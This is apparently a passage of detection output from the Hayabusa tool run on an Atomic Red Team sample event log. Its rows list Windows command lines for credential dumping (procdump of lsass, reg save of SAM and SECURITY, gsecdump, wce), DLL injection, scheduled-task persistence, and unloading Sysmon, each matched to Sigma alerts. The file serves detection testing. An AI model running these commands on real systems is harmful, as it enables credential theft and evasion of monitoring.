+09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt : Path: C:\Users\IEUser\AppData\Local\Temptcm.tmp : User: MSEDGEWIN10\IEUser : Parent Command: cmd.exe /c C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 +09:00,MSEDGEWIN10,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.643 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.715 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""fltmc.exe unload SysmonDrv"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.758 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.944 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\System32\inetsrv\appcmd.exe set config "" ""Default /section:httplogging /dontLog:true"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:14.991 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:15.776 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\mavinject.exe"" 3912 /INJECTRUNNING C:\AtomicRedTeam\atomics\T1055\src\x64\T1055.dll : Path: C:\Windows\System32\mavinject.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:15.776 +09:00,MSEDGEWIN10,1,critical,MavInject Process Injection,,rules/sigma/process_creation/win_mavinject_proc_inj.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:16.496 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c .\bin\T1055.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:16.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:44.283 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.073 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""at 13:20 /interactive cmd"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.094 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management AT : Command: at 13:20 /interactive cmd : Path: C:\Windows\System32\at.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""at 13:20 /interactive cmd""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.094 +09:00,MSEDGEWIN10,1,high,Interactive AT Job,,rules/sigma/process_creation/win_interactive_at.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.207 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.422 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.459 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10 : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.459 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.828 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.849 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10 : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.849 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.927 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:47.218 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a -c"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:47.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a -c : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a -c""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:50.398 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a Java"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:50.453 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a Java : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a Java""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:52.923 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a C:\Windows\system32\javacpl.cpl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:52.982 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a C:\Windows\system32\javacpl.cpl : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a C:\Windows\system32\javacpl.cpl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:53.882 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.099 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.129 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.165 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.165 +09:00,MSEDGEWIN10,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.069 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c "" c:\folder\normal.dll:evil.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.138 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: forfiles /p c:\windows\system32 /m notepad.exe /c c:\folder\normal.dll:evil.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c "" c:\folder\normal.dll:evil.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.236 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:58.359 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:40.973 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 4516 288 0000023C0CA1FA70 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:43.329 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:59.931 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:59.931 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:08.184 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.487 +09:00,MSEDGEWIN10,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.487 +09:00,MSEDGEWIN10,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.986 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""gsecdump -a"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.027 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.107 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wce -o output.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.149 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.224 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\sam sam"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.243 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\sam sam : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\sam sam""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:21.090 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\system system"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:21.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\system system : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\system system""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:23.317 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\security security"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:23.336 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\security security : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\security security""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,critical,Suspicious Use of Procdump on LSASS,,rules/sigma/process_creation/win_susp_procdump_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,critical,Renamed ProcDump,,rules/sigma/process_creation/win_renamed_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,high,Suspicious Use of Procdump,,rules/sigma/process_creation/win_susp_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,low,Usage of Sysinternals Tools,,rules/sigma/process_creation/process_creation_sysinternals_eula_accepted.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,medium,Procdump Usage,,rules/sigma/process_creation/win_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.686 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.852 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""ntdsutil “ac i ntds” “ifm” “create full 